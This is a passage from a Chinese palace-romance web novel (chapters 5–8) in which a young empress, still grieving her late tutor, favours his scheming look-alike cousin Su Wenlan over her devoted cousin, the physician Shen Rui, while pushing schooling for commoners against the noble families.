她声音很小,小到风一吹就散了。
-
与此同时,太医院角落。
“大哥,你今个也见着了吧?不说是一模一样,至少也有六七分相似。”沈统咋咋呼呼的。
回应他的只有药杵碰到药臼的声音。
坐在他对面的是一位眉清目秀的男子,容貌与沈统有几分相似。正是沈统一母同胞的兄长,太医沈锐。
沈锐低着头专心捣药,没理他。
沈统深吸一口气,攥了攥拳。
咬着牙继续说:“陛下有多喜欢苏太傅,你也不是不知道。眼下出了这种事,陛下一时难以接受也是正常,可万一叫有心人利用去了,岂不是……”
那个叫苏文澜的冒牌货,一看就没安好心,刻意勾引陛下。
他和大哥必须警觉起来。
注意到沈锐头也不抬一下,沈统不由自主拔高声音。
“大哥!你到底有没有在听我讲话!”
沈锐停下手中动作,瞥他一眼。
语气轻飘飘道:“你说的都是废话,我听那些做什么?有这个功
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夫,倒不如多做几副药给陛下安神养身。”
说罢,又继续摆弄起药杵。
“大哥你!”沈统恨铁不成钢地瞪他一眼。
他们和陛下一同长大,若不是苏太傅,陛下必定会从他们二人中择一人为皇夫。
如今苏太傅走了,又来了个苏文澜。
若他们兄弟二人齐心,别说一个苏文澜,便是再来十个,也不足为惧。
沈统转过头小声骂骂咧咧:“早晚有你后悔的时候。”
-
长春宫偏殿的卧房。
苏文澜躺在床上,裹着暖和厚实的被子,他掀开条缝。
还是好热,热到人都快化了。这是他从来不敢想的,不冷的冬天。
等实在热得受不了了。
苏文澜掀开被子跳下床,赤着脚跑到了窗边,开了半扇透气。
屋内地龙烧得热腾腾的,宛若夏天,窗外大雪纷飞,冷风倒灌进来。
他缩了缩脖子,抬眼往外看。
窗外长夜如墨。
月光如水,洒在地上映出粼粼雪色。周围点点星光若隐若现,仿若被云雾笼住。
很美,今夜月色很美。
他从未见过这样美的月亮。
想到白日里陆玄珍潜意识的倾斜,苏文澜不由扬起嘴角。
就算陛下是看在堂兄的份上,看在他这张脸的份上,又如何?
苏家那么多人,陛下独对他另眼相待,那是他的福气,也是他的本事。
苏文澜白净的脸上泛起抹绯红。
整个人兴奋到半夜,才回床上躺下,闭着眼硬睡。直到天色渐白,才浅浅睡去。
刚睡着没多久,就被一阵急促的敲门声吵醒。
苏文澜不情愿地从床上起来。
一开门就看到沈统站在外面,当即沉下脸,语气不善道:“沈侍卫找我有事?”
沈统撇了撇嘴:“陛下找你。”
“陛下找我什么事?”苏文澜脸色稍霁,眉梢流出些许得意。
沈统看不惯,斜着眼看他。
“你去了就知道了。喂!你干什么,苏文澜我可告诉你,陛下日理万机,可没功夫等你。”
苏文澜抱上披肩往外走。
一脸严肃地看着沈统:“沈侍卫,我们同为陛下效力,也算是同僚。我发现你对我有意见,这样可不好。”
沈统气极了,又说不过他。
狠狠瞪他一眼,撂下一句“牙尖嘴利”,扭头出了殿门。
-
按照大周律令,每五日一次早朝。
昨日陆玄珍已经上过朝,所以接下来几天她只需在御书房处理公务即可。
养心殿内。
见陆玄珍放下筷子,青歌凑上去先递了温水,待她漱完口,又用帕子为她擦了擦嘴角。
“陛下,人都到御书房了。”
陆玄珍点点头,起身朝御书房走去。
一进门,苏文澜、沈锐就异口同声道:“陛下。”
苏文澜瞟了眼身旁,心下不爽,默默往另一边挪了步。
陆玄珍视线落在沈锐脸上,自是无暇关注到苏文澜这些小动作。
看到沈锐眼底那一片乌青,她皱眉道:“表兄,你昨晚上又没睡?”
沈锐:“臣未完成陛下交代的事,实在是没有脸面安然入睡。”
5. 第 5 章
陆玄珍不赞同看着沈锐。
“你总是叫朕不要熬夜看奏折,自己却一点都不注意,你瞧瞧自己还有个当表兄的样子吗?”
沈锐连忙道:“臣保证以后不会再这样了,要陛下生气,怎么罚臣都可以。”
闻言,陆玄珍语气缓了些。
“表兄,朕也不是要罚你,朕是担心你的身体。要是再让朕知道,你熬夜不睡觉,朕就让姨母把你领回去,免得你在朕这里出了事,她再来管朕要人。”
被说了一顿,沈锐非但不恼,反倒扬起了唇:“臣都听陛下的。”
苏文澜站在一旁,指甲狠狠嵌入掌心,面上却依旧浅浅微笑着。
陆玄珍边说边坐到了书桌前:“好了好了,朕今天将你们二人喊来,就是为了解决奏折所说问题的。”
她见沈锐看向苏文澜,不由笑起来:“方才光顾着责怪表兄,忘了让你们认识一下了。”
“表兄,这位是太傅本家的堂弟苏文澜,是太傅亲自教导过的。”
“小苏大人,这是朕的表兄沈锐,也是沈侍卫的亲兄长,现下在太医院任职……”
陆玄珍顿了下,突然想到什么。
“昨天你们应该在太医院见过了吧?”
沈锐微笑着说:“臣昨日帮小苏大人包扎胳膊的时候,已经见过了。”
苏文澜也道:“陛下,臣昨日便和沈太医认识了。”
陆玄珍哈哈笑了几声:“倒是朕忘了!既然你们已经见过,就省去认识的功夫。你们都先坐吧。”
待两人坐下后,她看向苏文澜。
“小苏大人,刚才你应该也听到了,眼下民学遇到了困难,你有何见解?”
见苏文澜面上一片迷茫,陆玄珍让沈锐给他简单叙述了下情况。
苏文澜听完,思考了片刻,道:“陛下,大周百姓大多为温良之辈,让他们改变是难事,让他们主动变更是难上加难。”
她挑挑眉,饶有兴趣地看着他:“继续说。”
苏文澜继续说:“不想变,无非是还有顾忌,还有路可走。无路可退,才会想着改变。我们不妨从最下边的入手,比如平安巷、福安巷之地。”
“你倒是聪慧。”陆玄珍盯着他看。
苏文澜谦虚道:“只是一点巧思,多亏昨日与陛下去过平安巷。”
这与陆玄珍所想不谋而合。
大周兴起于动乱之际,一路风雨飘摇,至今已有二百余年。
可世家势力盘根错节,王朝表面上一片欣荣,内里的腐败却早已是积重难返。
陆玄珍问:“还有别的吗?”
苏文澜徐徐开口道:“除招收平安巷子弟入民学外,臣以为可以分设文武两类,文武并举。”
“哦?文武并举?”陆玄珍有些意外,坐直身子,细细打量起来他。
她自幼尚武,不擅文墨。
可大周历来只有文举,如今苏文澜提出的武举,倒是稀罕。
她忍不住多看了他几眼。
苏文澜的声音同时在耳边响起:“文王以文治,武王以武功,去民之灾,此皆有功烈于民者也。”(注)
她眼底泛起一抹光亮:“那在小苏大人看来,朕若是文武兼用,又该作何评价?”
她要选出一个能够接替太傅的人。相比于旁人,眼下她私心盼望着这个人是苏文澜。
闻言,苏文澜愣住。
评价一位帝王吗?他心里有很多赞美:雷厉果断、英姿飒爽,却又不失筹谋……
他张了张嘴,却只道:“臣不敢。”
“有何不敢?让你讲你就讲,朕先恕你无罪。”陆玄珍冲他一挥手。
苏文澜抿抿唇,轻声道:“在臣心里,陛下是启明星。”
他忽然想起昨晚夜空中那轮高悬的明月。
“什么?”陆玄珍疑惑看他。
苏文澜细细解释:“长夜漫漫,陛下就像一颗启明星,照亮着大周前行的路。”
陆玄珍头一次听到有人这样形容她,一时竟没有反应过来。
过了许久。
她才哑然失笑道:“让你去翰林院,当真是屈才了。朕封你为太学博士,全权负责民学一事,可愿意?”
苏文澜毫不迟疑应下:“陛下,臣愿意。”
“有不懂的就问朕、问沈太医。”陆玄珍又看向另一边,“表兄,这几日你把民学的事和小苏交接一下。”
“是。”沈锐抿着唇,脸色有点难看。
苏文澜站在一旁,眼底暗暗得意。
这得意还没持续多久,就被陆玄珍担忧的声音打断:“表兄你脸色怎么突然这么白?”
沈锐睫毛颤了颤:“臣、臣没事……”
但身体却不受控制摇晃了几下。
陆玄珍连忙站起来,快步走到沈锐身旁,一把扶住他的胳膊。
“告诉你多少回了?别逞强!”
“陛下别担心臣,真的没什么事,臣是太医,清楚自己的身——”
“好了,那有句话还叫医者不能自医。你快别说话了,朕送你回去休息。”
站在门外的沈统看到他们,立马迎了上来:“陛下,我大哥这是怎么了?”
陆玄珍瞥他一眼:“没什么事,就是累着了。你也不知道看着点。”
看着沈统活蹦乱跳的样子,她言语间隐隐带上了几分责怪。
沈统的手僵在半空。
沈锐连忙找补:“陛下,是臣的错,不关小统的事……”
他们竟这般亲厚。
苏文澜心底忍不住泛起一股酸,可他也有自知之明。
自个孤零零回了长春宫。
等把沈锐送到沈家。
陆玄珍才后知后觉,她把苏文澜一个人忘在了御书房。
回宫路上,她一脸心事重重的样子,把青歌急得不行,以为她是在担心沈太医。
快到御书房的时候。
青歌刚想张口宽慰,就听陆玄珍说:“青歌,等会你先进去看看苏文澜还在御书房吗?”
青歌一噎,闷头进了御书房。
很快又出来了,冲着陆玄珍摇摇头:“陛下,小苏大人不在里面,估计是回长春宫了。”
陆玄珍一想到是她把人招来,又把人晾着,最后还让人自己回去。
当即更愧疚了。
“那个……”她顿了顿,吩咐起来,“明个你把苏文澜和尚衣局的人都请来。”
青歌福了福身:“是。”
-
按大周制度,太学博士为正七品,应为青袍,绣鸂鶒。
养心殿内,宫人们站成
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一排。
她们每人都捧着一个托盘,上面摆着各种青色布料、量尺等物。
见苏文澜盯着那些东西看。
陆玄珍轻咳一声:“小苏大人,昨日是朕疏忽了,今日算是向你赔罪了。”
“臣理解陛下心善,体恤下属,怎么可能会怪罪陛下?”苏文澜十分善解人意。
陆玄珍嘴角挂起浅笑。
要是苏文澜真蹬鼻子上脸,拿乔作势,她反倒会不喜了。
她改口道:“那就当是朕庆贺你新上任。”
“多谢陛下……”苏文澜轻轻点头,眼睛却粘在托盘上迟迟不肯移开。
陆玄珍饶有兴趣地挑了下眉,盯着他看:“小苏大人很喜欢青色吗?”
不过只是个小小七品官,竟也能高兴成这样。想他堂兄当年,位列一品,红袍加身,也是泰安自若。
苏文澜猛得回过神,耳尖一红,支吾起来:“陛、陛下,臣……”
陆玄珍微笑着打断他:“好了,快些让宫人们量一下。朕瞧着这青色也衬你,你们回去再给小苏大人做几身常服。”
“陛下不用这么麻烦,臣有衣裳穿。”苏文澜惶恐。
她视线落在他磨损的袖口上。
“小苏大人就不必跟朕客气了。你以后就是朕的人了,出去代表的可是朕的脸面,不可叫人看轻了。”
“那、那臣多谢陛下。”苏文澜红着脸应了声。
陆玄珍摆摆手,大步朝外去:“朕给你的,你就安心收着。以后民学的事,直接到御书房向朕汇报。”
她脚下步子有些急。
方才宫人来说,苏丞相递了牌子入宫。估计是为印子钱那事,她倒要看看,他要怎么解释。
苏文澜面向门口,目送她离开。
直到什么都看不见,才恋恋不舍地收回眼。
他刚张开双臂让宫人继续测量。
门口突然响起一道声音:“你可别得意,陛下看重的是苏太傅又不是你。”
说话间,就见沈统从门外闪进来。
他眼尾红红的,脸拉得很长,一看到苏文澜,就先狠狠瞪了几眼。
苏文澜冷冷扫他一眼,淡淡道:“沈侍卫这是怎么了?”
沈统怒斥:“苏文澜,我警告你不要生出什么不该有的心思。陛下不是你这种人能肖想的!”
陛下从没给人做过衣裳。
从来没有!苏太傅没有,大哥没有,他也没有。凭什么他一个后来的冒牌货,能得陛下如此青睐。
苏文澜一脸无辜:“我只想为陛下分忧,从未想过旁的,沈侍卫是乱想什么了吗?”
沈统气得脸通红:“我、我……”
苏文澜笑着说:“对了,沈侍卫是以什么身份来质问我呢?”
沈统噎在那里,好半晌憋出句话:“我不问了!你、你给我好自为之!”
说罢,跺着脚跑走了。
望着沈统远去的背影。
苏文澜勾起唇,眉眼上扬,笑意却不达眼底。
看重的是堂兄又如何?只要好处能落到他身上,那便是他的。
等量好尺寸,他出门朝长春宫去。
堂兄啊,堂兄,他的好堂兄。
一会他得好好给堂兄上柱香,叫他保佑自己日后能独得圣宠。
6. 第 6 章
御书房内,陆玄珍正黑着一张脸,看着桌前跪着的那人。
苏丞相老泪纵横道:“陛下,都是臣不好,疏于对族中小辈管教,印子钱一事,臣此前不知。现已经将他们严加管教,责令他们今后不许再犯。”
“还请陛下给他们一个改过自新的机会啊!”
陆玄珍面无表情地递出一本册子。
苏丞相赶快举着双手从头顶接过,定睛一看,上面写的“大周律令”四个大字。
陆玄珍的声音同时传来:“苏丞相,国有国法、家有家规,你说对吗?”
“……对。”苏丞相答。
陆玄珍:“那私下放印子钱,该当何罪?”
苏丞相:“按照大周律令,杖责四十,超出本金部分还给借债人,同时缴纳罚金。”
陆玄珍:“若是因此造成旁人死伤,又该当何罪?”
苏丞相:“伤人者,按照伤情杖责五十到一百不等,赔偿伤者药钱,杀人者……偿命。”
她顿了顿,继续问:“那如果还是明知故犯呢?”
苏丞相低下头,不再回答。
陆玄珍身子微微前倾。
盯着苏丞相:“苏丞相乃两朝元老,朕希望你可以秉公执法,不要犯下大错,可以做到吗?”
她语气平和,仿佛在说天气如何。
但苏丞相后背却湿了一片。
他想到了苏贵的尸体。
面目狰狞,眼睛瞪得很大,喉咙上还有个黑乎乎的血洞。
听那几个被吓破胆的小子说,杀人的是个持剑的年轻女子,干脆利落,一击毙命,算是给了个痛快。
他脑中立马浮现出一道人影。
苏丞相沉声道:“臣能做到。”
“苏丞相既然有心改正,那便在三日内把牵扯之人的名字呈递上来。”
陆玄珍说着,上前虚扶了一把。
苏丞相顺势站起身,嘴唇哆嗦了几下,道:“多谢陛下体谅臣。”
“苏丞相客气了,你是朕肱股之臣,朕只希望你不要走了歪路。”
陆玄珍微笑着,笑意不达眼底。
“多谢陛下指点。”
苏丞相郑重点了个头,佝偻着身子,神情落寞,似乎心事重重。
他往外去,走到门口突然又回头看向陆玄珍,垂着头叫了声:“陛下。”
“苏丞相还有事?”陆玄珍问。
苏丞相斟酌开口:“陛下,臣想将文澜过继到名下。”
陆玄珍盯着他看了会。
失去独子苏太傅后,这么快就思量起过继的事,当真是薄情寡义。
选苏文澜?看来苏丞相还是不死心。
她脸色冷下来。
语气淡淡:“这是苏丞相的家事,苏丞相自己做主即可。”
苏丞相忙道:“多谢陛下,臣今日能否与文澜见一面,将此事先告知于他?”
“可以。”她扭头看向门外,“青歌,一会送苏丞相去长春宫。”
-
长春宫偏殿中。
苏文澜蹲在地上,手心捧着把米,鸡一下一下啄米。
他扬了扬唇,心情很不错。
方才给堂兄上完香,他忽然想到堂兄之前的一些手稿。虽然东西不在他这里,但他都记下了。
再加上他这张脸,完全可以事半功倍。
“喔喔——”鸡突然扑扇起翅膀。
苏文澜忙伸手去抓,一路追到门口,瞥见门上映着的影子,他推开门。
“文澜,我可以进来吗?”
苏丞相站在门外问,说话间一只脚已经抬了起来。
苏文澜垂下眼:“大伯父快请进。”
“文澜,这段日子在宫里可还适应?”苏丞相眼神慈爱。
苏文澜客气道:“多谢大伯父关心,一切都好。”
“那就好。”苏丞相点点头。
走到了屋内,环视了一圈后,转过身定定看着苏文澜,神情认真。
苏文澜跟着旁边问:“大伯父您找我有什么事?”
苏丞相直言:“文澜,我想把你过继到名下。”
“大伯父?”苏文澜看他。
苏丞相眉眼间弥漫着淡淡哀伤。
“你也知道,我膝下只有辞儿一子,如今他去了,与其挑选旁支子弟过继,不如选你,你到底也是我看着长大的。”
长春宫偏殿陷入到诡异的寂静中。两人互相看着对方,谁也没出声。
苏文澜静静打量着苏丞相。
他运气向来不好,自然不会理所当然地认为这次是例外,天上掉馅饼从来不会轮到他。
苏丞相想要过继他,必有所图。
他什么都没有,除了……这张脸,还有陛下的怜惜。
良久过后,他说:“父亲,我知道了。”
见他这般乖顺。
苏丞相不由松了口气,抬手拍了拍他的肩:“好孩子。”
却错过了苏文澜眼底的闪烁。
-
“陛下,臣这几日在平安巷、福安巷招到不少学生,他们都是聪慧之人,只是苦于贫困,没有读书的条件。”
苏文澜在御书房内汇报着。
闻言,书桌前的陆玄珍放下笔。
见他眼下隐隐一片青色,眉毛上还挂着寒霜,心下微动:“小苏大人,辛苦你了。”
“这都是臣该做的。”
“尽不尽心,朕还是能看出来的。外面冷不冷?”
苏文澜下意识地搓了搓通红的双手,摇头道:“不冷。”
陆玄珍忽得皱起眉头:“你骗朕?”
顺着她的视线,苏文澜低下头。
看到自己的手,解释:“臣没骗您,臣是真不觉得冷。”
“手都红了还不冷?”
见他嘴硬,陆玄珍语气微冷,心底无端生出一股厌烦来。
苏文澜小声道:“臣、臣习惯了。”
但她还是一字不落地听到了。
习惯?他习惯什么?习惯受冻吗?方才那股烦躁倒是消了,一股莫名的情绪涌上来。
陆玄珍说不清这到底是什么感觉。
她盯着苏文澜的脸看了有一会,只知道他没有说谎。
可苏家毕竟是顶级世家。
就算苏文澜是外室所生,也没必要在这方面克扣了他吧。
想到他那磨损的袖口。
她说不下去了,随即话锋一转:“招生的时候可有遇到什么麻烦吗?”
苏文澜面露犹豫。
“其实还算顺利,现在倒是没有什么麻烦,臣只是有些担心以后会生出些麻烦。”
陆玄珍:“担心什么?”
苏文澜:“担心他们会中途辍学。”
她挑眉:“什么?”
“眼下他们是满腔热情,但日后就说不准了,毕竟他们连吃饭穿衣都难。”苏文澜解释。
说的倒也在理,他们之前想的还是简单了。
陆玄珍摸了
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摸下巴。
继续盯着苏文澜看:“那你有什么想法吗?”
苏文澜回想着那些手稿。
苏太傅生前,已经把所有可能都想过,并附上了应对之法。只是不知道为什么没有给陆玄珍。
倒是便宜了他。
包括方才他提到的辍学一事,其实也是苏太傅手稿中提到的。
如今他不过是拿来“借花献佛”。
“臣想,或许我们可以为民学的学生们提供食宿、衣物,让他们没有后顾之忧。”
陆玄珍紧紧注视着他,催促道:“继续说。”
“提供食宿,能让学生不必担心日后会风餐露宿,提供衣物,除了御寒外,不仅让学生们认可民学,也能让其余百姓看到我们创办民学的决心。”
她眸子倏然亮起来。
嘴上却道:“小苏大人这个法子不错,提供住处这个好说,学堂里闲置的空屋还不少,只是这购置食材和布料的钱,又该从哪里出呢?”
“募捐。”
“募捐?”陆玄珍疑惑看他。
苏文澜肯定道:“对,正是募捐。民学是为大周培养人才,世家应当出一份力。”
这也是堂兄手稿里写的。
银钱,世家,民学,被串成一条线,想来就是这个意思。
“是这个道理。”陆玄珍点了个头,“那要是世家不愿意怎么办?”
其实她这话说得太过委婉。
推行科举本来就是在打他们的脸,现下又要让他们掏钱挨打。
谁能上赶着找打呢?
不过也没关系,她有的是力气,她手下的大军也有的是力气。
陆玄珍对苏文澜没报什么希望。
他能提出这个思路就已经很好了,一个手无缚鸡之力的书生,她也没打算让他再做些什么。
只等着明天上朝的时候,先礼后兵,狠狠从世家那里抢一笔过来。
对于这样的“强盗”行为,陆玄珍没有一丁点负罪感。
谁知道世家的钱都是哪里来的?会不会都是像印子钱这样不干不净的。
就在陆玄珍暗暗攥紧拳头,幻想明日早朝大干一场的时候。
苏文澜突然出声:“陛下,臣有法子。”
她拳头顺势一松,视线落在苏文澜眼尾那颗小痣上。
“你能有什么法子?”
-
“食君之禄、忠君之事,现在陛下的事遇到了困难,我们理应为君分忧。”
望着朝堂中慷慨激昂的苏文澜。
陆玄珍总算知道他昨日藏着掖着的法子是什么了。
她扬起唇,看向台下。
“各位大人,如今民学陷入困境,兴学传理,启民开智,有益于大周百年基业。还请各位慷慨解囊。”
“小苏大人,其实我们也都很困——”
不等一个官员婉拒。
苏文澜就给他鞠了一躬:“文澜在这里先谢过各位大人了。”
一旁苏丞相的笑已经僵在脸上。
见苏丞相愣着,苏文澜走到他身旁:“父亲,您也说句话。”
其他人看他们的眼神立马不对了。
苏文澜和没事人一样,催促着苏丞相。
“这个、这个,各位……”
苏丞相支吾了好一会,一句完整的话都没说出来。
“苏丞相,你真养了两个好儿子!”
龙椅之上,陆玄珍看热闹不嫌事大,高兴地加入进来。
7. 第 7 章
御花园的红梅开了。银白色的天地间,那片桃红分外扎眼。
一阵北风吹过,枝头上的雪簌簌落了满地,连带着一片片薄如蝉翼的花瓣。
咔——
一只修长的手折下枝红梅。
“表兄,梅花又开了。”
陆玄珍低下头,轻轻蹭了蹭柔软的花瓣,淡淡的清香萦绕在鼻尖。
“嗯,很好看。”
沈锐附和着,眼色暗了暗。
这棵梅花树是三年前,陆玄珍登基后,与苏太傅一起种下的。
如今树还在,人却走了。
沈锐理解陆玄珍,却忍不住庆幸。
如果不是苏太傅出了意外,陆玄珍或许永远不会看到他。或是说,永远不会像现在这样,与他在御花园中赏梅。
他盯着红梅出神,连旁边陆玄珍喊他都没听见。
“表兄!”陆玄珍不由拔高声音。
沈锐猛地抬起头。
脚下一个不稳就朝旁边倒去,却没有意料中的疼痛,胳膊一紧,梅花的芳香扑面而来。
“怎么这么不小心?”
陆玄珍埋怨的声音同时响起,语气中却透出一丝关心。
沈锐想起那日她送他回家。
嘴角不由自主扬起来:“抱歉,臣刚才走神了。”
“走神了?在想什么?”
“臣在想小苏大人。”
陆玄珍奇怪盯着他的脸:“你想他做什么?”
沈锐顿了顿,认真道:“臣在想,他是否会像臣一样忠于陛下。”
“怎么?表兄是觉得苏文澜会和世家勾结吗?”
“臣不清楚,但臣只怕陛下被用心之人利用了。他这个时候出现在宫中,未免有些太巧了。”
陆玄珍眼前浮现出苏文澜的样子。
他的脸慢慢、慢慢地模糊,失去了轮廓,取而代之出现的是他的堂兄苏太傅。
她心里突然间酸酸胀胀。
说不出到底是什么滋味,哑着嗓子说:“表兄,朕心里有数。”
“是臣多虑了。”沈锐自责低下头,肩头却突然一沉。
一道叹息落在耳边:“表兄。”
他偏过头,一双修长的手挽住他的胳膊:“别动,让朕靠会。”
陆玄珍轻声碎碎念。
“表兄,你说人死了以后会去哪里?他们会不会还会回来啊?只是朕看不见而已。”
“朕这辈子还能不能再见太傅一面?”
“朕好怕啊。”
“怕自己忘了太傅的模样、声音、习惯……”
陆玄珍静静靠在沈锐的肩上。
这一刻,她不是高高在上的帝王。
只是陆玄珍,她在向一同长大又亲密无间的表兄,寻求一丝安慰。
她才二十岁,这是她第一次经历身边人的死。
死去的苏太傅不止是她的老师、朋友,也是爱人。
沈锐眼尾红红的。
他抬起手,僵硬的手指轻拍着她的背,艰难开口:“陛下,苏太傅他……一定在天上看着您呢,您得好好的。”
明明心里嫉妒得要命。
可却见不得陆玄珍皱一下眉。
自陆玄珍出生,他便跟在她身边,如今已有二十年。
如果苏文澜的存在,能让她心情好一些,那便都随她。
就像她当初喜欢上苏太傅一样。
“表兄……”
沈锐惊愕地看着她把方才折下的红梅塞到了他手中。
陆玄珍整个人沐浴在暖阳中,笑容温暖和熙:“一直陪着我吧。”
她真的不能再失去了。
所以她不会让表兄牵扯到前朝是非中。她要表兄干干净净、平平安安地活着。
至于苏文澜。
既然他有自己的选择,既然这也是苏太傅的选择,那她便成全。
沈锐盯着手中的红梅。良久,心下大定,嘴角扬起一抹发自内心的笑。
“好,我会一直陪着盈盈。”
只要陛下心里有他的一席之地,就算苏太傅还活着,他也不怕。
-
下了早朝,苏文澜就被苏丞相堵住盘问了一通,好不容易应付完。
他脱身往长春宫去。
正值冬日,但今个天气不错。
暖阳透过两旁干枯的树枝,零零散散洒落在他的肩头,青色的官袍在阳光下萤萤发亮。
迎面走来一人。
苏文澜还没有看清对方面容,来人就先开口了。
“小苏大人?”
沈锐停下脚步,有些意外地挑挑眉。他身后背着一个药箱,怀里似乎护着什么。
苏文澜探头望去。
终于看清了沈锐抱着的东西,是一枝梅花。鲜艳的桃红格外耀眼,想不注意到都难。
“沈太医。”
“小苏大人这是刚回来?”沈锐笑着与他寒暄。
苏文澜点点头:“嗯,方才下朝和家父聊了一会。”
沈锐问:“和苏丞相吗?”
苏文澜笑道:“沈太医消息倒是灵通。”
沈锐眯了眯眼:“哪里是我消息灵通,不过是刚才在御花园碰着陛下,凑巧聊了几句而已。”
说着,他还拢了拢胸前的梅花。
苏文澜视线随之落在梅花上,他笑了笑,笑意却不达眼底。
“沈太医,这红梅是御花园里的吗?”
沈锐低头看了眼梅花,微微惊讶。
自顾自说起来:“这个吗?这是三年前陛下和苏太傅亲手种下的,每到冬天,陛下就会剪下那几枝开得最好的,插到太傅书房的花瓶里。可惜今年……”
他突然收了口。
似乎是察觉自己说错了话,脸上露出个尴尬的笑:“抱歉,我失言了。”
苏文澜脸上的笑早就凝固住了。
沈锐的话他怎能听不明白?偏他还什么都不能说,什么都不能做。
直到此刻,那种嫉妒到要发疯的感觉,让他终于看清自己的心。
他喜欢陛下。
原来那日长春宫初见,他的心就早已沦陷。英姿飒爽、文韬武略、胸怀大志的少年天子。
谁会不喜欢呢?
苏太傅喜欢,沈锐喜欢,沈统喜欢,他苏文澜也不是例外。
“无妨,沈太医。”苏文澜强颜欢笑道。
见苏文澜面色不对。
沈锐微微勾了勾唇:“小苏大人,那我先回太医院了,天寒地冻,你也早些回宫去吧。”
“好。”苏文澜站在原地没动。
直到沈锐走远,他才动了动被冻僵的手脚,嘴角露出一抹苦笑,朝着御花园的方向走去。
那棵树就伫立在御花园中间。
踏进御花园的第一瞬间,苏文澜就看到它了。
苏文澜深一脚浅一脚踏着雪,朝那棵树走去,那被人掰断的半截树枝光秃秃的,在周围盛开红梅的衬托下,更显孤单。
就像他现在一样。
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“凌寒独自开……”
他轻声呢喃着,伸手轻轻取下一片花瓣。低头将鼻尖凑近手心,有一股淡淡的清香。
苏文澜捻起花瓣,放入了口中。一下又一下咀嚼着,口中却微微发苦。
他闭上双眼,任由寒风吹过脸颊。
心下却越发坚定。
无论是容貌、才学,他都不比沈锐差。既然堂兄不在了,那他为何不能一枝独秀?
-
午膳后,陆玄珍在御书房小憩。
今日的地龙似乎烧得过热,没一会她就被热醒了。
她拿上搭在一旁的披肩,径直推门往外去。扑面而来的冷风,让她大脑瞬间清醒了不少。
“陛下?”外面的青歌惊讶看她。
“朕出来透透气,屋里太热了。”
陆玄珍朝远处走去。
青歌见状赶快跟上:“等回来奴婢让他们不要把地龙烧那么热。”
陆玄珍点点头,不忘叮嘱青歌:“夜里还是要烧热些。”
她自幼习武,身强体健,自是冻不坏。旁人就说不准了。
她突然想起和苏太傅牌位大婚第二日清晨,长春宫门前的那道身影。
也不知道苏文澜那天是几时来的,又站了多久。
他和苏太傅同为文人,怎么偏他不冷呢?
陆玄珍脚下突然转了个弯。
青歌只得快步跟上,直到长春宫的牌匾出现在头顶。她终于恍然大悟:陛下是来找那位小苏大人的!
“喔喔喔——”
陆玄珍刚上了一层台阶,偏殿的房内就传出响亮的鸡鸣声,震耳欲聋。
她一只脚悬在半空中。
差点忘了这里还住了只鸡。
不对,鸡住这里的话,那苏文澜住哪间?
“青歌,去叫门。”
青歌小跑着上前,抬手重重敲了几下方面。
“喔喔喔!!”鸡叫声更响亮了。
陆玄珍微微皱眉,看了看天色。
心下有些烦躁。这个时候,苏文澜还能去哪里?
青歌转过头来。
面带迟疑:“陛下,这……”
还要不要继续敲门,里面住的好像不是个人吧?
就在两人僵住之时。
随着吱呀一声轻响,旁边的门从里面打开,一道浅青色的人影出现。
“陛下?”苏文澜满眼惊喜。
陆玄珍愣了愣,打量了他几眼。
“你怎么住在这里?”
长春宫偏殿只有苏文澜一人,按照惯例,只有一间房烧着地龙。
可现在那间房里住的,却是许三娘送的鸡。
苏文澜低下头。
扶在门框上的手指不断摩挲着,迟迟没有回话。
见他这般,陆玄珍刚才那股烦躁,隐隐又有去而复返的架势。
“可是有什么难言之隐?”
话虽如此,但语气间已经染上些许不耐。
苏文澜自是早早察觉到了。
抬起头,眼神温和平静:“陛下,臣没有任何难言之隐。只是这几日天寒,尤其是夜里,臣怕这鸡被冻死,便自作主张让它待在有地龙的这间。”
陆玄珍没想到会是这样。
惊讶之余,内心同时产生一丝怀疑。
随着一声轻叹落下。
苏文澜的声音响起:“臣知道,一只鸡而已,怎么能住房子?可是在臣心里,乘风它不只是一只鸡。”
“乘风?”
8. 第 8 章
苏文澜脸不红心不跳撒谎。
“乘风好去,长空万里,直下看山河(注),这是臣给它取的名字。臣只想好好照看乘风,因为总感觉这样……”
他顿了顿,哽咽道:“陛下恕罪,臣刚刚失言了。”
陆玄珍眼神落在他泛红的指节上。
她器重苏文澜,除了他自身确实有几分本事外,她不否认是看在苏太傅的关系上。
“你倒是有心了。”她低声说。
听闻此言,苏文澜不敢完全放松。
他抿抿嘴:“陛下不要笑臣愚笨就好……”
陆玄珍淡淡道:“愚笨?不过是一片赤诚之心罢了。”
她脸上没有什么表情。
就连向来善于揣测的苏文澜,都猜不透。
就在苏文澜思酌该如何应对时。
耳边传来陆玄珍轻快的声音:“好了,朕都知道了。再珍贵的鸡,也不过是只畜生。在朕看来,人永远比畜生要重要。”
“况且小苏大人现在可是朕的左膀右臂,照顾鸡的活,以后让宫人来做。小苏大人新换的这间房,回头再烧上地龙就是。”
“若还有什么需要的,小苏大人尽管同朕说。如今小苏大人为民学一事劳心费神,朕自然不会亏待了你。”
陆玄珍笑容温和。
仿佛刚才审视苏文澜的人不是她一样。
她想通了,无论是真心还是假意,只要苏文澜肯敬着苏太傅,肯接过苏太傅未完成的事业。
那他想要些身外之物,给他便是。
苏文澜抬起头。
小心翼翼又惊喜地望着她:“陛下……真的吗?”
“嗯。”望着那张与苏太傅神似的脸,陆玄珍眼底划过一抹失望。
到底不是他,难免落俗。
苏文澜衣袖下的手用力攥了攥。
深吸了一口气,终于鼓足勇气,说出了他费尽心机、受冻卖惨,换来的愿望。
“陛下,臣想要花!”
“什么花?”
陆玄珍用一种很奇怪的眼神看着他。怀疑,探究,不可置信。
就见苏文澜不好意思地笑笑:“臣知道这个要求可能有些冒昧,但臣真的很想要一盆能在冬日里盛开的花。”
沈锐有的,他也要。
“你要这个干什么?”因为太过震惊,陆玄珍直接脱口而出。
不是,真有人大费周章,就为了问她要一盆花?
尽管早就知晓,苏文澜在苏家处境堪忧。但没想到人竟被他们苛待成这个样子!
苏文澜挺直腰,道:“臣喜欢。”
他喜欢陛下送他花,更喜欢陛下。等陛下也送了他梅花,还是一大盆,那可比沈锐怀里那孤零零的一枝气派多了。
陆玄珍有些无奈,又有些想笑。
不过是一盆花,她还没那么小气。既然苏文澜想要,叫内务府那边送过来些便是。
“青歌,等会你亲自去趟内务府,让他们把最好的花,都送到长春宫来。”
青歌:“是。”
她回过身看向苏文澜。
语重心长道:“好了,小苏大人还有什么想要的,尽管吩咐宫人。不要因为这些小事,耽误了民学的进度。”
多亏她跑这一趟。
要不然非得等人冻病了才能发现,得多耽误事。
-
